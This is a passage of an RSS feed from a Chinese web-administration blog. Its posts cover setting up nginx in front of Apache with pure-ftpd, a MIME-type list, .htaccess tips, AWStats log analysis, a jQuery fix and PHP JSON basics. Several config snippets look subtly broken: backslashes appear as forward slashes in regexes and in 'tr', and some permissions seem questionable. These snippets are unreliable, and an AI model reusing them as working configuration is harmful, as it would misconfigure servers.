     kill -INT `cat $PIDFILE` || echo -n "nginx not running"
    }

    waitforexit() {
     count=${2:-30}
     while [ 0$count -gt 0 ]
     do
       PIDS=`ps -C$NAME --no-heading e | grep $DAEMON` || break
       PIDS=`echo "$PIDS" | awk '{print $1}' | tr '/n' ' '`
       echo Remaining processes: $PIDS
       do_stop
       sleep 2
       count=`expr $count - 1`
     done
     if [ 0$count -eq 0 ];
     then
       echo Remaining processes: $PIDS
       return 1
     fi
     return 0
    }

    do_reload() {
    kill -HUP `cat $PIDFILE` || echo -n "nginx can't reload"
    }

    case "$1" in
     start)
     echo -n "Starting $DESC: $NAME"
     do_start
     echo "."
     /etc/init.d/httpd start
     ;;
     stop)
     echo -n "Stopping $DESC: $NAME"
     do_stop
     echo "."
     /etc/init.d/httpd stop
     ;;
     reload)
     echo -n "Reloading $DESC configuration..."
     do_reload
     echo "."
     /etc/init.d/httpd restart
     ;;
     restart)
     echo -n "Restarting $DESC: $NAME"
     waitforexit "nginx" 20
     do_start
     echo "."
     /etc/init.d/httpd restart
     ;;
     *)
     echo "Usage: $SCRIPTNAME {start|stop|reload|restart}" >&2
     exit 3
     ;;
    esac

    exit 0

    保存退出,给该文件赋予执行权限并设置开机启动

        chmod 755 /etc/init.d/nginx
        chkconfig --level 345 nginx on

    2.2.修改nginx配置文件,位于:/usr/local/nginx/conf/目录

        mkdir -p /var/cache/nginx/cached
        chmod 600 /var/cache/nginx/cached
        cd /usr/local/nginx/conf/
        mv nginx.conf nginx.conf.bak
        mkdir vhosts
        vi nginx.conf

    输入以下内容:

    worker_processes  2;
    worker_rlimit_nofile  20480;
    events {
    worker_connections  20480;
    use epoll;
    }
    error_log  /usr/local/nginx/logs/error.log info;
    http {
    server_name_in_redirect off;
    server_names_hash_max_size 2048;
    server_names_hash_bucket_size 256;
    include    mime.types;
    default_type  application/octet-stream;
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout  60;
    gzip on;
    gzip_http_version 1.0;
    gzip_min_length  1100;
    gzip_comp_level  3;
    gzip_buffers  4 32k;
    # gzip_types    text/plain application/x-javascript text/xml text/css;
    gzip_types    text/plain text/xml text/css application/x-javascript application/xml application/xml+rss text/javascript application/atom+xml;
    ignore_invalid_headers on;
    client_header_timeout  300;
    client_body_timeout 300;
    send_timeout     30;
    reset_timedout_connection on;
    connection_pool_size  256;
    client_header_buffer_size 256k;
    large_client_header_buffers 4 256k;
    request_pool_size  32k;
    output_buffers   4 32k;
    postpone_output  1460;
    proxy_cache_path  /var/cache/nginx/cached levels=2:2 keys_zone=global:100m inactive=60m max_size=500m;
    proxy_temp_path  /tmp/nginx_proxy;
    include "/usr/local/nginx/conf/vhosts/*.conf";
    }

    保存退出.
    五.为apache安装rpaf模块,该模块用于apache做后端时获取访客真实的IP.

    1.使用apxs安装模块.这里要使用此前apache编译安装后的apxs

        cd /usr/local/src/
        tar -zxf mod_rpaf-0.6.tar.gz
        cd mod_rpaf-0.6
        /usr/local/apache/bin/apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c

    2.编辑/usr/local/apache/conf/httpd.conf,添加模块参数,查找LoadModule php5_module modules/libphp5.so,在下方添加:

        LoadModule rpaf_module modules/mod_rpaf-2.0.so
        #Mod_rpaf settings
        RPAFenable On
        RPAFproxy_ips 127.0.0.1 [your_ips]
        RPAFsethostname On
        RPAFheader X-Forwarded-For

    上面出现的[your_ips]请修改为你本机所监听web服务的ip.多个IP用空格空开.
    六.安装ftp服务器:pure-ftpd

    1.编译安装

        cd /usr/local/src/
        tar -zxf pure-ftpd-1.0.28.tar.gz
        cd pure-ftpd-1.0.28
        ./configure --prefix=/usr/local/pureftpd --with-language=simplified-chinese --with-everything
        make
        make install
        chmod 755 configuration-file/pure-config.pl
        cp configuration-file/pure-config.pl /usr/local/pureftpd/sbin/
        mkdir /usr/local/pureftpd/etc/
        cp configuration-file/pure-ftpd.conf /usr/local/pureftpd/etc/
        ln -s /usr/local/pureftpd/bin/pure-pw /usr/local/bin/

    2.配置pure-ftpd,这里采用PureDB的验证方式.

        vi /usr/local/pureftpd/etc/pure-ftpd.conf

    查找 PureDB /etc/pureftpd.pdb 取消前面的#号并设置成PureDB/usr/local/pureftpd/etc/pureftpd.pdb
    查找 PassivePortRange 取消前面的#号
    其他参数根据需要进行修改

    3.添加自启动.这里不创建init脚本.直接放在/etc/rc.local启动即可

        echo "/usr/local/pureftpd/sbin/pure-config.pl /usr/local/pureftpd/etc/pure-ftpd.conf --daemonize" >> /etc/rc.local

    至此.所有安装工作结束.
    如何使用这套系统
    一,做好必要的安全工作

    设置用户家目录/home/user,相关配置参数文件,以及访问日志等目录的权限.

        chmod 711 /home
        chmod 711 /usr/local/pureftpd/etc
        chmod 711 /usr/local/apache/conf/vhosts
        chmod 711 /usr/local/nginx/conf/vhosts
        chmod 711 /usr/local/apache/domlogs
        chmod 711 /usr/local/apache/logs
        chmod 600 /var/cache/nginx/cached

    二,如何创建用户

    创建用户分两个步骤.第一步创建系统用户.该命令直接创建用户家目录.第二步创建ftp用户.创建该用户依赖系统用户的创建.步骤如下(以创建用户名为admin为例):

        useradd admin -m -s /sbin/nologin
        pure-pw useradd admin -u admin -g admin -d /home/admin -m[第一次执行不可用]
        pure-pw mkdb[仅限第一次执行]

    注意.通过上述方法安装的ftp服务器在第一次创建用户的时候不可以在pure-pw useradd ...后直接添加参数-m更新ftp用户数据库.需要分两步执行.以后可以直接在创建用户时在后面添加参数-m,执行之后会提示让你输入密码.需要重复输入两次.
    三.如何绑定域名

    由于采用前后端操作.因此需要修改两个服务器软件的虚拟主机参数.实例如下(以admin.com为例,用户目录承接上文的/home/admin):

    1.创建nginx虚拟主机参数

    首先先把公共cache参数和proxy参数写进文件中

        cd /usr/local/nginx/conf
        touch cache.inc proxy.inc

    然后分别编辑者两个文件。

    vi cache.inc

        proxy_cache       global;
        proxy_cache_key   $host$uri$is_args$args;
        #proxy_cache_valid 200 302 10m;
        #proxy_cache_valid 301 1h;
        #proxy_cache_valid any 1m;
        proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504;
        proxy_temp_file_write_size 64k;
        proxy_max_temp_file_size   56m;

    vi proxy.inc

        proxy_connect_timeout 30s;
        proxy_send_timeout   300;
        proxy_read_timeout   300;
        proxy_buffer_size    64k;
        proxy_buffers     16 32k;
        proxy_busy_buffers_size 64k;
        #proxy_pass http://127.0.0.1:81;
        proxy_redirect  off;
        proxy_hide_header  Vary;
        proxy_set_header   Host   $host;
        proxy_set_header   X-Real-IP  $remote_addr;
        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;

    然后再编辑虚拟主机文件就会很清晰了

        cd /usr/local/nginx/conf/vhosts
        touch admin.com.conf
        vi admin.com.conf
        输入以下内容:

    server {
    error_log /var/log/nginx/vhost-error_log warn;
    listen 127.0.0.1:80;
    server_name admin.com www.admin.com;
    access_log /usr/local/apache/domlogs/admin.com combined;
    location / {
    root /home/admin/public_html;
    proxy_cache_valid 200 301 302 10m;
    proxy_cache_valid any 1m;
    expires 1d;
    proxy_pass http://127.0.0.1:81;
    include proxy.inc;
    include cache.inc;
    }
    location ~ .*/.(jpg|jpeg|png|gif|bmp|ico|js|css|mp3|wav|swf|mov|doc|pdf|xls|ppt|docx|pptx|xlsx)$ {
    proxy_cache_valid  200 10s;
    expires 7d;
    proxy_pass http://127.0.0.1:81;
    include proxy.inc;
    include cache.inc;
    }
    location ~ .*/.(php|jsp|cgi)?$ {
    proxy_pass http://127.0.0.1:81;
    include proxy.inc;
    }
    location ~ //.ht {
    deny all;
    }
    }

    保存退出,注意将上述出现的127.0.0.1替换本机监听web服务的IP

    2.创建apache虚拟主机配置文件

        cd /usr/local/apache/conf/vhosts
        touch admin.com.conf
        vi admin.com.conf
        输入以下内容:

    <VirtualHost 127.0.0.1:81>
     ServerName admin.com
     ServerAlias www.admin.com
     DocumentRoot /home/admin/public_html
     ServerAdmin admin@evlit.com
     UseCanonicalName Off
     php_admin_value open_basedir "/home/admin:/usr/lib/php:/usr/local/lib/php:/tmp"
     <IfModule !mod_disable_suexec.c>
     SuexecUserGroup admin admin
     </IfModule>
     ScriptAlias /cgi-bin/ /home/admin/public_html/cgi-bin/
    </VirtualHost>

    保存退出,注意将上述出现的127.0.0.1替换本机监听web服务的IP,用户名admin改为虚拟主机用户的名称.
    四.如何管理MySQL数据库

    1.下载最新版PhpMyAdmin源码包

        mkdir -p /var/www/html
        chmod -R 711 /var/www
        cd /var/www/html
        wget http://sourceforge.net/projects/phpmyadmin/files/phpMyAdmin/3.3.3/phpMyAdmin-3.3.3-all-languages.zip/download
        unzip phpMyAdmin-3.3.3-all-languages.zip
        mv phpMyAdmin-3.3.3-all-languages phpmyadmin

    2.增加apache配置,编辑httpd.conf,转到最后一行

        cd /usr/local/apache/conf
        vi httpd.conf /* shift+g转到最后一行 */
        #Managed Tools
        <VirtualHost 127.0.0.1:81 *>
        ServerName localhost
        ServerAlias pma.*
        DocumentRoot /var/www/html/phpmyadmin
        ServerAdmin admin@localhost
        UseCanonicalName Off
        </VirtualHost>

    同样,修改上述出现的127.0.0.1为你提供web服务的IP.重启apache后.我们打开绑定到服务器IP的pma.yourdomain.com即可访问到phpmyadmin.第一次使用.需要进行配置.具体配置请善用Google.

    其他没有照顾到的地方自行添加即可.如perl,sendmail等.]]></description>
			<link>http://www.lvtao.net/html/1868.html</link>
			<pubDate>2012-02-16, 19:30:52</pubDate>
		</item>
		<item>
			<title>虚拟主机控制面板 自定义MIME类型详解及删除自定义MIME类型文件名</title>
			<author>memory</author>
			<description><![CDATA[（一）功能介绍：
MIME (Multipurpose Internet Mail Extensions)多用途网际邮件扩充，是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
您可以自行添加/删除MIME类型,以使您的空间支持不常见扩展名的文件下载（如要使服务器支持下载.ani文件，只需要添加.ani这种类型的MIME类型为application/octet-stream即可)，也可以添加MIME以使自己的网站支持WML(通过手机浏览您的网站)。

（二）如何操作：
进入操作界面后，在“扩展名”下填入要添加的MIME后缀名（比如.cert），在“MIME类型”下填入对应的类型（比如application/octet-stream），然后按“添加”按钮。

如果要设置成下载,就将mime类型随便填，如果是要恢复正常就填写下面正常的即可

比如想要让虚拟主机支持WAP手机访问，只需要添加以下七个MIME即可：
.wbmp image/vnd.wap.wbmp
.3gp video/3gpp
.wml text/vnd.wap.wml
.wmlc application/vnd.wap.wmlc
.wmls text/vnd.wap.wmlscript
.wmlsc application/vnd.wap.wmlscriptc
.wsc application/vnd.wap.wmlscrip

以下是一些常用的Mime类型，供参考并根据需要添加：
文件后缀 	Mime类型 	说明
.txt 	text/plain 	普通文本
.html或.htm 	text/html 	超文本标记语言文本
.rtf 	application/rtf 	RTF文本
.gif 	image/gif 	GIF图形
.jpeg或.jpg 	image/jpeg 	JPEG图形
.au 	audio/basic 	au声音文件
.mid或.midi 	audio/midi或audio/x-midi 	MIDI音乐文件
.ra或.ram或.rm 	audio/x-pn-realaudio 	RealAudio音乐文件
.mpg或.mpeg或.mp3 	video/mpeg 	MPEG文件
.avi 	video/x-msvideo 	AVI文件
.gz 	application/x-gzip 	GZIP文件
.tar 	application/x-tar 	TAR文件
.exe 	application/octet-stream 	下载文件类型
.rmvb 	video/vnd.rn-realvideo 	在线播放


application/vnd.lotus-1-2-3

3gp video/3gpp
aab application/x-authoware-bin
aam application/x-authoware-map
aas application/x-authoware-seg
ai application/postscript
aif audio/x-aiff
aifc audio/x-aiff
aiff audio/x-aiff
als audio/X-Alpha5
amc application/x-mpeg
ani application/octet-stream
asc text/plain
asd application/astound
asf video/x-ms-asf
asn application/astound
asp application/x-asap
asx video/x-ms-asf
au audio/basic
avb application/octet-stream
avi video/x-msvideo
awb audio/amr-wb
bcpio application/x-bcpio
bin application/octet-stream
bld application/bld
bld2 application/bld2
bmp application/x-MS-bmp
bpk application/octet-stream
bz2 application/x-bzip2
cal image/x-cals
ccn application/x-cnc
cco application/x-cocoa
cdf application/x-netcdf
cgi magnus-internal/cgi
chat application/x-chat
class application/octet-stream
clp application/x-msclip
cmx application/x-cmx
co application/x-cult3d-object
cod image/cis-cod
cpio application/x-cpio
cpt application/mac-compactpro
crd application/x-mscardfile
csh application/x-csh
csm chemical/x-csml
csml chemical/x-csml
css text/css
cur application/octet-stream
dcm x-lml/x-evm
dcr application/x-director
dcx image/x-dcx
dhtml text/html
dir application/x-director
dll application/octet-stream
dmg application/octet-stream
dms application/octet-stream
doc application/msword
dot application/x-dot
dvi application/x-dvi
dwf drawing/x-dwf
dwg application/x-autocad
dxf application/x-autocad
dxr application/x-director
ebk application/x-expandedbook
emb chemical/x-embl-dl-nucleotide
embl chemical/x-embl-dl-nucleotide
eps application/postscript
eri image/x-eri
es audio/echospeech
esl audio/echospeech
etc application/x-earthtime
etx text/x-setext
evm x-lml/x-evm
evy application/x-envoy
exe application/octet-stream
fh4 image/x-freehand
fh5 image/x-freehand
fhc image/x-freehand
fif image/fif
fm application/x-maker
fpx image/x-fpx
fvi video/isivideo
gau chemical/x-gaussian-input
gca application/x-gca-compressed
gdb x-lml/x-gdb
gif image/gif
gps application/x-gps
gtar application/x-gtar
gz application/x-gzip
hdf application/x-hdf
hdm text/x-hdml
hdml text/x-hdml
hlp application/winhlp
hqx application/mac-binhex40
htm text/html
html text/html
hts text/html
ice x-conference/x-cooltalk
ico application/octet-stream
ief image/ief
ifm image/gif
ifs image/ifs
imy audio/melody
ins application/x-NET-Install
ips application/x-ipscript
ipx application/x-ipix
it audio/x-mod
itz audio/x-mod
ivr i-world/i-vrml
j2k image/j2k
jad text/vnd.sun.j2me.app-descriptor
jam application/x-jam
jar application/java-archive
jnlp application/x-java-jnlp-file
jpe image/jpeg
jpeg image/jpeg
jpg image/jpeg
jpz image/jpeg
js application/x-javascript
jwc application/jwc
kjx application/x-kjx
lak x-lml/x-lak
latex application/x-latex
lcc application/fastman
lcl application/x-digitalloca
lcr application/x-digitalloca
lgh application/lgh
lha application/octet-stream
lml x-lml/x-lml
lmlpack x-lml/x-lmlpack
lsf video/x-ms-asf
lsx video/x-ms-asf
lzh application/x-lzh
m13 application/x-msmediaview
m14 application/x-msmediaview
m15 audio/x-mod
m3u audio/x-mpegurl
m3url audio/x-mpegurl
ma1 audio/ma1
ma2 audio/ma2
ma3 audio/ma3
ma5 audio/ma5
man application/x-troff-man
map magnus-internal/imagemap
mbd application/mbedlet
mct application/x-mascot
mdb application/x-msaccess
mdz audio/x-mod
me application/x-troff-me
mel text/x-vmel
mi application/x-mif
mid audio/midi
midi audio/midi
mif application/x-mif
mil image/x-cals
mio audio/x-mio
mmf application/x-skt-lbs
mng video/x-mng
mny application/x-msmoney
moc application/x-mocha
mocha application/x-mocha
mod audio/x-mod
mof application/x-yumekara
mol chemical/x-mdl-molfile
mop chemical/x-mopac-input
mov video/quicktime
movie video/x-sgi-movie
mp2 audio/x-mpeg
mp3 audio/x-mpeg
mp4 video/mp4
mpc application/vnd.mpohun.certificate
mpe video/mpeg
mpeg video/mpeg
mpg video/mpeg
mpg4 video/mp4
mpga audio/mpeg
mpn application/vnd.mophun.application
mpp application/vnd.ms-project
mps application/x-mapserver
mrl text/x-mrml
mrm application/x-mrm
ms application/x-troff-ms
mts application/metastream
mtx application/metastream
mtz application/metastream
mzv application/metastream
nar application/zip
nbmp image/nbmp
nc application/x-netcdf
ndb x-lml/x-ndb
ndwn application/ndwn
nif application/x-nif
nmz application/x-scream
nokia-op-logo image/vnd.nok-oplogo-color
npx application/x-netfpx
nsnd audio/nsnd
nva application/x-neva1
oda application/oda
oom application/x-AtlasMate-Plugin
pac audio/x-pac
pae audio/x-epac
pan application/x-pan
pbm image/x-portable-bitmap
pcx image/x-pcx
pda image/x-pda
pdb chemical/x-pdb
pdf application/pdf
pfr application/font-tdpfr
pgm image/x-portable-graymap
pict image/x-pict
pm application/x-perl
pmd application/x-pmd
png image/png
pnm image/x-portable-anymap
pnz image/png
pot application/vnd.ms-powerpoint
ppm image/x-portable-pixmap
pps application/vnd.ms-powerpoint
ppt application/vnd.ms-powerpoint
pqf application/x-cprplayer
pqi application/cprplayer
prc application/x-prc
proxy application/x-ns-proxy-autoconfig
ps application/postscript
ptlk application/listenup
pub application/x-mspublisher
pvx video/x-pv-pvx
qcp audio/vnd.qcelp
qt video/quicktime
qti image/x-quicktime
qtif image/x-quicktime
r3t text/vnd.rn-realtext3d
ra audio/x-pn-realaudio
ram audio/x-pn-realaudio
rar application/x-rar-compressed
ras image/x-cmu-raster
rdf application/rdf+xml
rf image/vnd.rn-realflash
rgb image/x-rgb
rlf application/x-richlink
rm audio/x-pn-realaudio
rmf audio/x-rmf
rmm audio/x-pn-realaudio
rmvb audio/x-pn-realaudio
rnx application/vnd.rn-realplayer
roff application/x-troff
rp image/vnd.rn-realpix
rpm audio/x-pn-realaudio-plugin
rt text/vnd.rn-realtext
rte x-lml/x-gps
rtf application/rtf
rtg application/metastream
rtx text/richtext
rv video/vnd.rn-realvideo
rwc application/x-rogerwilco
s3m audio/x-mod
s3z audio/x-mod
sca application/x-supercard
scd application/x-msschedule
sdf application/e-score
sea application/x-stuffit
sgm text/x-sgml
sgml text/x-sgml
sh application/x-sh
shar application/x-shar
shtml magnus-internal/parsed-html
shw application/presentations
si6 image/si6
si7 image/vnd.stiwap.sis
si9 image/vnd.lgtwap.sis
sis application/vnd.symbian.install
sit application/x-stuffit
skd application/x-Koan
skm application/x-Koan
skp application/x-Koan
skt application/x-Koan
slc application/x-salsa
smd audio/x-smd
smi application/smil
smil application/smil
smp application/studiom
smz audio/x-smd
snd audio/basic
spc text/x-speech
spl application/futuresplash
spr application/x-sprite
sprite application/x-sprite
spt application/x-spt
src application/x-wais-source
stk application/hyperstudio
stm audio/x-mod
sv4cpio application/x-sv4cpio
sv4crc application/x-sv4crc
svf image/vnd
svg image/svg-xml
svh image/svh
svr x-world/x-svr
swf application/x-shockwave-flash
swfl application/x-shockwave-flash
t application/x-troff
tad application/octet-stream
talk text/x-speech
tar application/x-tar
taz application/x-tar
tbp application/x-timbuktu
tbt application/x-timbuktu
tcl application/x-tcl
tex application/x-tex
texi application/x-texinfo
texinfo application/x-texinfo
tgz application/x-tar
thm application/vnd.eri.thm
tif image/tiff
tiff image/tiff
tki application/x-tkined
tkined application/x-tkined
toc application/toc
toy image/toy
tr application/x-troff
trk x-lml/x-gps
trm application/x-msterminal
tsi audio/tsplayer
tsp application/dsptype
tsv text/tab-separated-values
tsv text/tab-separated-values
ttf application/octet-stream
ttz application/t-time
txt text/plain
ult audio/x-mod
ustar application/x-ustar
uu application/x-uuencode
uue application/x-uuencode
vcd application/x-cdlink
vcf text/x-vcard
vdo video/vdo
vib audio/vib
viv video/vivo
vivo video/vivo
vmd application/vocaltec-media-desc
vmf application/vocaltec-media-file
vmi application/x-dreamcast-vms-info
vms application/x-dreamcast-vms
vox audio/voxware
vqe audio/x-twinvq-plugin
vqf audio/x-twinvq
vql audio/x-twinvq
vre x-world/x-vream
vrml x-world/x-vrml
vrt x-world/x-vrt
vrw x-world/x-vream
vts workbook/formulaone
wav audio/x-wav
wax audio/x-ms-wax
wbmp image/vnd.wap.wbmp
web application/vnd.xara
wi image/wavelet
wis application/x-InstallShield
wm video/x-ms-wm
wma audio/x-ms-wma
wmd application/x-ms-wmd
wmf application/x-msmetafile
wml text/vnd.wap.wml
wmlc application/vnd.wap.wmlc
wmls text/vnd.wap.wmlscript
wmlsc application/vnd.wap.wmlscriptc
wmlscript text/vnd.wap.wmlscript
wmv audio/x-ms-wmv
wmx video/x-ms-wmx
wmz application/x-ms-wmz
wpng image/x-up-wpng
wpt x-lml/x-gps
wri application/x-mswrite
wrl x-world/x-vrml
wrz x-world/x-vrml
ws text/vnd.wap.wmlscript
wsc application/vnd.wap.wmlscriptc
wv video/wavelet
wvx video/x-ms-wvx
wxl application/x-wxl
x-gzip application/x-gzip
xar application/vnd.xara
xbm image/x-xbitmap
xdm application/x-xdma
xdma application/x-xdma
xdw application/vnd.fujixerox.docuworks
xht application/xhtml+xml
xhtm application/xhtml+xml
xhtml application/xhtml+xml
xla application/vnd.ms-excel
xlc application/vnd.ms-excel
xll application/x-excel
xlm application/vnd.ms-excel
xls application/vnd.ms-excel
xlt application/vnd.ms-excel
xlw application/vnd.ms-excel
xm audio/x-mod
xml text/xml
xmz audio/x-mod
xpi application/x-xpinstall
xpm image/x-xpixmap
xsit text/xml
xsl text/xml
xul text/xul
xwd image/x-xwindowdump
xyz chemical/x-pdb
yz1 application/x-yz1
z application/x-compress
zac application/x-zaurus-zac
zip application/zip]]></description>
			<link>http://www.lvtao.net/html/1867.html</link>
			<pubDate>2012-02-15, 17:24:47</pubDate>
		</item>
		<item>
			<title>.htaccess 10个能帮助你优化网站的技巧</title>
			<author>memory</author>
			<description><![CDATA[“.htaccess”文件旺旺被网页设计师们忽略。假如你还不知道什么是htaccess的话，你可以去查一下wikipedia。它是目录级别的配置文件，有常用的网页服务器支持这种配置，例如Apache。下面我将列出10条有用的.htaccess配置技巧。 
1. 反盗链
那些盗用了你的内容，还不愿意自己存储图片的网站是无耻的。你可以通过以下配置来放置别人盗用你的图片：

RewriteBase /
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?yoursite.com/.*$ [NC]
RewriteRule .(gif|jpg|swf|flv|png)$ /feed/ [R=302,L]

2. 防止目录浏览
有时候目录浏览是有用的，但大部分情况会有安全问题。为了让你的网站更安全，你可以通过htaccess文件来禁用这个功能：

Options All -Indexes



3. SEO友好的301永久重定向
这一招是我常用的。每次我更改网站URL结构的时候，我都会做301重定向：

Redirect 301 http://www.yoursite.com/article.html http://www.yoursite.com/archives/article

4. 显示个性化的 404 错误页面
当用户访问了一个不存在的页面的时候，网页服务器会显示“404 file not found”错误。有很多CMS可以让你设置自定义的错误页面，但最简单的方法是更改htaccess：

ErrorDocument 404 /404.html



5. 设置目录的默认页面
假如你需要为不同的目录设置不同的默认页面，你可以很容易的通过 .htaccess 实现：

DirectoryIndex about.html

6. 基于referer来限制网站访问
站长通常不会限制网站访问，但是当你发现有一些网站尽给你带来垃圾流量的话，你就应该屏蔽他们：

<IfModule mod_rewrite.c>
RewriteEngine on  RewriteCond %{HTTP_REFERER} spamteam.com [NC,OR]
RewriteCond %{HTTP_REFERER} trollteam.com [NC,OR]
RewriteRule .* – [F]
</ifModule>

7. 限制PHP上传文件大小
这招在共享空间的服务器上很有用，可以让我的用户上传更大的文件。第一个是设置最大的上传文件大小，第二个是设置最大的POST请求大小，第三个PHP脚本最长的执行时间，最后一个是脚本解析上传文件的最长时间：

php_value upload_max_filesize 20M
php_value post_max_size 20M
php_value max_execution_time 200
php_value max_input_time 200



8. 压缩文件
你可以通过压缩文件来减少网络流量，也页面装载时间：

AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript

9. 缓存文件
这一点还需要解释吗？

<FilesMatch “.(flv|gif|jpg|jpeg|png|ico|swf|js|css|pdf)$”>
Header set Cache-Control “max-age=2592000″
</FilesMatch>

10. 添加尾部的反斜杠
我并不确定，但是很多文章，很多人都说添加尾部反斜杠有益于SEO：

<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_URI} /+[^\.]+$
RewriteRule ^(.+[^/])$ %{REQUEST_URI}/ [R=301,L]
</IfModule>]]></description>
			<link>http://www.lvtao.net/html/1866.html</link>
			<pubDate>2012-02-15, 15:53:55</pubDate>
		</item>
		<item>
			<title>Nginx AWStats 完整安装配置手记</title>
			<author>memory</author>
			<description><![CDATA[用 AWStats 来分析 Nginx 的日志
1. 安装 AWStats
可以一行搞定
yum -y install awstats
如果不能 yum 安装，请运行
rpm -ihv http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm

另外，装一下 GeoIP，一会可以分析IP的国家
yum -y install GeoIP GeoIP-data GeoIP-devel perl-Geo-IP
OK！装好了！目录是在 /usr/share/awstats 下，配置文件在 /etc/awstats

现在说下手动安装 AWStats，很简单，就是下载解压，改下文件权限，建个目录而已，用 yum 的方法的话这些都帮你自动搞定了，区别在于路径不同哈
wget http://prdownloads.sourceforge.net/awstats/awstats-6.95.zip
unzip awstats-6.95.zip
mv awstats-6.95 awstats
mv awstats /usr/local/
chmod +x /usr/local/awstats/tools/awstats_configure.pl
chmod +x /usr/local/awstats/wwwroot/cgi-bin/awstats.pl
chmod +x /usr/local/awstats/tools/awstats_buildstaticpages.pl
# 这里是用来存放 AWStats 的数据库文件的
mkdir /var/lib/awstats

2. 新建 AWStats 配置文件
cd /usr/local/awstats/tools/
perl ./awstats_configure.pl

几个小问题自己选Y和填下名称，不再详述，注意用 yum 的方法安装的话路径不一样，/etc/awstats 下也有样例给你参考

主要改动以下几行，这里我添加详细说明一下
# 这日 AWStats 解析的日志格式，现在的 Nginx 默认就是这个格式了！这里删除了最后的  %otherquot
LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"
# css 和图片文件位置，对于站点根目录
StyleSheet="/awstats/css/awstats_bw.css"
DirIcons="/awstats/icon"
# 这玩意不用多说吧，就是可以显示IP国家的
LoadPlugin="geoip GEOIP_STANDARD  /usr/share/GeoIP/GeoIP.dat"

我新建的文件是 /etc/awstats/awstats.21andy.com.conf
我的 Nginx 日志文件在 /www/logs/21andy.com_access.log
在最后，我会用 awstats 根据 awstats.21andy.com.conf 来为 21andy.com_access.log 生成静态 HTML 报告

3. 改 Nginx 配置文件
vim /etc/nginx/nginx.conf
删除或替换这段，因为 Nginx 默认的格式已经是我上面设置的了，所以可以删除了，用默认的！

你也可以替换成下面这样的
log_format  access  '$remote_addr - $remote_user [$time_local] "$request" '
                    '$status $body_bytes_sent "$http_referer" '
                    '"$http_user_agent"';

开启 Nginx 日志记录， 看看你的 server 段里有没有这行，没有就加上
access_log  /www/logs/21andy.com_access.log;

接着在主机段配置里加上
vim /etc/nginx/server.conf
location ~ ^/awstats/ {
    access_log off;
    charset gbk;
}

4. 定时切割 Nginx 日志文件
vim /root/cut_nginx_log.sh
输入以下内容
#!/bin/bash
# 这里根据你自己的文件名来写
mv /www/logs/21andy.com_access.log /www/logs/21andy.com_access_$(date -d "today" +"%Y%m%d").log
kill -USR1 `cat /var/run/nginx.pid`

给它可执行
chmod +x /root/cut_nginx_log.sh

可以试一下运行
/bin/bash /root/cut_nginx_log.sh

看 /www/logs/ 里是不是多一个 21andy.com_access_20101016.log 文件出来，就OK了，一会我们再加到 cron 里执行

5. 新建要生成 HTML 报告的目录，把图片和CSS复制进去
mkdir -p /www/21andy.com/awstats/
cp -R /usr/local/awstats/wwwroot/css /www/21andy.com/awstats/
cp -R /usr/local/awstats/wwwroot/icon /www/21andy.com/awstats/

6. 生成 AWStats 数据库
/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=21andy.com
这里 -config=21andy.com 意思是说使用 /etc/awstats/awstats.21andy.com.conf 这个文件

7. 生成 AWStats 日志分析报告
/usr/local/awstats/tools/awstats_buildstaticpages.pl -update -config=21andy.com -dir=/www/21andy.com/awstats -lang=cn -awstatsprog=/usr/local/awstats/wwwroot/cgi-bin/awstats.pl

最后你会看到告诉你生好了 awstats.21andy.com.html 打开浏览器去看看吧

8. 定时运行
最后定时切割 Nginx 日志和生成报告，我定在每天23点的最后2分钟来搞
crontab -e

输入以下内容
# AWStats + Nginx log
57 23 * * * /bin/bash /root/cut_nginx_log.sh
58 23 * * * /usr/local/awstats/tools/awstats_buildstaticpages.pl -update -config=21andy.com -dir=/www/21andy.com/awstats -lang=cn -awstatsprog=/usr/local/awstats/wwwroot/cgi-bin/awstats.pl ]]></description>
			<link>http://www.lvtao.net/html/1865.html</link>
			<pubDate>2012-02-15, 15:50:59</pubDate>
		</item>
		<item>
			<title>JQuery报错“$ is not a function”</title>
			<author>memory</author>
			<description><![CDATA[试着在wordpress中使用JQuery，但是报错“$ is not a function”，查询后才知道需要稍微改动一下js代码：
$().ready(function() {
   $("#select_me").show();
});
改成
jQuery().ready(function() {
   jQuery("#select_me").show();
});
即可]]></description>
			<link>http://www.lvtao.net/html/1864.html</link>
			<pubDate>2012-02-15, 12:29:00</pubDate>
		</item>
		<item>
			<title>在PHP语言中使用JSON</title>
			<author>memory</author>
			<description><![CDATA[目前，JSON已经成为最流行的数据交换格式之一，各大网站的API几乎都支持它。
今天，我想总结一下PHP语言对它的支持，这是开发互联网应用程序（特别是编写API）必须了解的知识。

从5.2版本开始，PHP原生提供json_encode()和json_decode()函数，前者用于编码，后者用于解码。

一、json_encode()

该函数主要用来将数组和对象，转换为json格式。先看一个数组转换的例子：

    　　$arr = array ('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);

    　　echo json_encode($arr);

结果为

    　　{"a":1,"b":2,"c":3,"d":4,"e":5}

再看一个对象转换的例子：

    　　$obj->body = 'another post';

    　　$obj->id = 21;

    　　$obj->approved = true;

    　　$obj->favorite_count = 1;

    　　$obj->status = NULL;

    　　echo json_encode($obj);

结果为

    　　{
    　　　　"body":"another post",

    　　　　"id":21,

    　　　　"approved":true,

    　　　　"favorite_count":1,

    　　　　"status":null
    　　}

由于json只接受utf-8编码的字符，所以json_encode()的参数必须是utf-8编码，否则会得到空字符或者null。当中文使用GB2312编码，或者外文使用ISO-8859-1编码的时候，这一点要特别注意。

二、索引数组和关联数组

